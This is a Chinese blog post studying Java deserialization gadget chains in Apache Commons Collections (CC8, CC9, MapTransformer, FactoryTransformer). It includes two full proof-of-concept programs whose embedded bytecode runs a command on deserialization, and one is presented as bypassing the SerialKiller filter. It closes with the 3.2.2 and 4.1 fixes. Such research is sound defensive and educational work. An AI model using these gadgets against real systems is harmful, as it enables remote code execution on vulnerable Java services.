java安全漫谈观后感(十一)-加强篇
2022-04-30 23:35:19

java安全漫谈观后感(十一)-加强篇

前言

补充一些p神没讲到,也非ysoserial官方,但是师傅们公开的gadget思路

CommonsCollections8

wh1t3p1g师傅ysoserial里的这个,是navalorenzo师傅研究的,看代码感觉和CC2,CC4差不多,都是基于TransformingComparator.compare()触发transform()

image-20220429153717962

直接debug看调用链

image-20220429154316779

梳理核心部分:

1
2
3
4
5
6
7
// Gadget Chain:
// java.util.TreeBag.readObject()
// java.util.TreeMap.put()
// java.util.TreeMap.compare()
// org.apache.commons.collections4.comparators.TransformingComparator.compare()
// org.apache.commons.collections4.functors.InvokerTransformer.transform()
// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()

可以看到除了反序列化起点变成了TreeBag其他和CC2,CC4没有大的区别

分析

首先看到TreeBag.readObject

image-20220429155248820

comp是个Comparator,是通过in.readObject拿到的,所以我们序列化之前的数据需要指定好Comparator

image-20220429155404370

TreeBag的构造函数支持传入Comparator,显然可以new一个ComparatorTransformingComparatorTreeBag

TreeBag.readObject中还会触发到super.doReadObject(),跟入看看

image-20220429155742797

会进入TreeMap.put方法

image-20220429155848279

一进来就会调用TreeMap.compare

image-20220429155921654

如果comparator不是空,就会触发comparator.compare,即TransformingComparator.compare()。显然只要咱们给TreeBag指定好comparator就可以满足条件。

image-20220429155958228

后面的都是老套路时间。

CommonsCollections9

wh1t3p1g师傅的CC9是CC6+CC7,前面讲过了,这里忽略。

梅子酒师傅的CC9,找到一个DefaultedMap作用和LazyMap差不多,需要Commons Collections 3.2及以上版本。

看看师傅的代码

image-20220429162758562

就是CC5把LazyMap换成了DefaultedMap

image-20220429163140815

可以看看DefaultedMap.get

image-20220429163305988

LazyMap.get非常类似,都可以触发transform(key)

理论上用到了LazyMap的链都可以用DefaultedMap替换。有兴趣可以试一试。

核心利用链

1
2
3
4
5
6
7
8
//  Gadet Chain:
// javax.management.BadAttributeValueExpException.readObject()
// org.apache.commons.collections.keyvalue.TiedMapEntry.toString()
// org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
// org.apache.commons.collections.map.DefaultedMapMap.get()
// org.apache.commons.collections.functors.ChainedTransformer.transform()
// org.apache.commons.collections.functors.InvokerTransformer.transform()
// Runtime.exec()

CommonsCollections11&12

天下大木头师傅的文章CommonsCollections11 分析讲的gadget就是wh1t3p1g大师傅的CC10

c0ny1大师傅的CC11是CC5的无数组实现

清水师傅的CommonsCollections12和前面讲的CCK3一样

以上内容的实现都在前面文章中提到过,不做过多叙述了。

MapTransformer

在知识星球看到Rickyღ 师傅分享的一个trick,可以用于ConstantTransformer被禁用了的情景,能起到类似ConstantTransformer的作用。

看看MapTransformer的实现

image-20220429234944348

MapTransformer的构造函数是private修饰,但是可以用getInstance()做实例化。

关键的transform()方法可以返回Map中传入的这个key对应的value,例如我们这里Map中的value是TrAXFilter.class,则会返回TrAXFilter这个Class。

比如随便用一个HashMap放入一个key,对应的value是TrAXFilter.class

1
hashmap.put("com.xxxbank",TrAXFilter.class);

前面学习无数组CC构造时提到了LazyMap.get(key)可以传递key参数,即只要我们TiedMapEntry的key设置为com.xxxbank则可以给MapTransformer.transform(input)传递一个input的值。

基于能全版本用的CC3改一个用MapTransformer的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class CC3Maptest {
public static void main(String[] args) throws Exception {
byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxieXRlY29kZXMvRXZpbFRlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABZFdmlsVGVtcGxhdGVzSW1wbC5qYXZhDAAcAB0HAC8MADAAMQEAE0hlbGxvIFRlbXBsYXRlc0ltcGwHADIMADMANAcANQwANgA3AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAOAA5AQAbYnl0ZWNvZGVzL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAADwAEABAADAARABUAEgAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg".getBytes());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "2333");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

HashMap hashmap=new HashMap();
hashmap.put("com.xxxbank",TrAXFilter.class);
Transformer maptransformer= MapTransformer.getInstance(hashmap);
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[]{
maptransformer,
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap= LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tme=new TiedMapEntry(outerMap, "com.xxxbank");
Map expMap = new HashMap();
expMap.put(tme, "xxxbank");
outerMap.remove("com.xxxbank");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20220430001049273

Rickyღ 师傅分享的代码里用了DefaultedMap替代LayMap.get(),构造了一条基于相对冷门的类实现的CC链。

调用链

image-20220430011430882

核心部分

1
2
3
4
5
6
7
8
9
10
// Gadget Chain:
// java.util.HashMap.readObject()
// java.util.HashMap.hash()
// org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
// org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
// org.apache.commons.collections.map.LazyMap.get()
// org.apache.commons.collections.functors.ChainedTransformer.transform()
// org.apache.commons.collections.functors.MapTransformer.transform()
// org.apache.commons.collections.functors.InstantiateTransformer.transform()
// com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter<init>

FactoryTransformer

Y4tacker师傅分享的一个trick,绕过了SerialKiller

看看FactoryTransformer代码

image-20220430002445142

核心的transform()方法可以触发this.iFactory.create(),既可以触发任意Factorycreate()方法。

看看实现Factory的几个类

image-20220430002716213

Y4tacker师傅发现

org.apache.commons.collections.functors.ConstantFactory可以代替ConstantTransformer起到一样的效果

image-20220430003044739

org.apache.commons.collections.functors.InstantiateFactory可以代替InstantiateTransformer起到一样的效果

image-20220430002838578

配合构造InstantiateFactory的构造函数可以传入TrAXFilter.Classthis.Constructor

image-20220430003831716

基于CCK1改改,可以得到一个能过SerialKiller的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class CCFactorytest {
public static void main(String[] args) throws Exception {
byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxieXRlY29kZXMvRXZpbFRlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABZFdmlsVGVtcGxhdGVzSW1wbC5qYXZhDAAcAB0HAC8MADAAMQEAE0hlbGxvIFRlbXBsYXRlc0ltcGwHADIMADMANAcANQwANgA3AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAOAA5AQAbYnl0ZWNvZGVzL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAADwAEABAADAARABUAEgAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg".getBytes());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "2333");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

InstantiateFactory ins=new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class},new Object[]{obj});
ConstantFactory constantFactory=new ConstantFactory(1);
Transformer itransformer = new FactoryTransformer(constantFactory);
Map innerMap = new HashMap();
Map outerMap= LazyMap.decorate(innerMap,itransformer);
TiedMapEntry tme=new TiedMapEntry(outerMap, "com.xxxbank");
Map expMap = new HashMap();
expMap.put(tme, "xxxbank");
outerMap.clear();

Field f = FactoryTransformer.class.getDeclaredField("iFactory");
f.setAccessible(true);
f.set(itransformer, ins);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20220430010621010

Y4tacker师傅给的代码用了ConstantTransformer,反射的点在修改LazyMapfactory属性,可以再优化一下,用ConstantFactory替换ConstantTransformer,反射点在FactoryTransformeriFactory属性,这样就可以完全不依赖前面学习到的Transformer实现gadget。在cc3.2以上还可以把LazyMap换成DefaultedMap,对于绕rasp一类的防护效果感觉会更好。

调用链

image-20220430010706638

核心部分

1
2
3
4
5
6
7
8
9
// Gadget Chain:
// java.util.HashMap.readObject()
// java.util.HashMap.hash()
// org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
// org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
// org.apache.commons.collections.map.LazyMap.get()
// org.apache.commons.collections.functors.FactoryTransformer.transform()
// org.apache.commons.collections.functors.InstantiateFactory.create()
// com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter<init>

修复

commons-collections3.2.2的修复是org.apache.commons.collections.functors.FunctorUtils新增checkUnsafeSerialization,除非System属性设置了org.apache.commons.collections.enableUnsafeSerialization为true,否则这几个危险的类默认不支持反序列化:CloneTransformer, ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory, PrototypeSerializationFactory, WhileClosure

image-20220430212051034

上面CC链触发代码执行的关键InstantiateFactory, InstantiateTransformer, InvokerTransformer都被干掉了,所以上述内容都没法在commons-collections3.2.2利用。

commons-collections4.1更狠,直接去掉了上面这些危险类的序列化接口。

思维导图

cc链的gadget chain时间久了容易忘记,尝试画了个图帮助记忆,第一次画图,和xmind配合得不是很好,师傅们将就看。(非官方的链子都尽量用我能找到的原作者命名,有问题的地方欢迎各位师傅指正)

Prev
2022-04-30 23:35:19
Next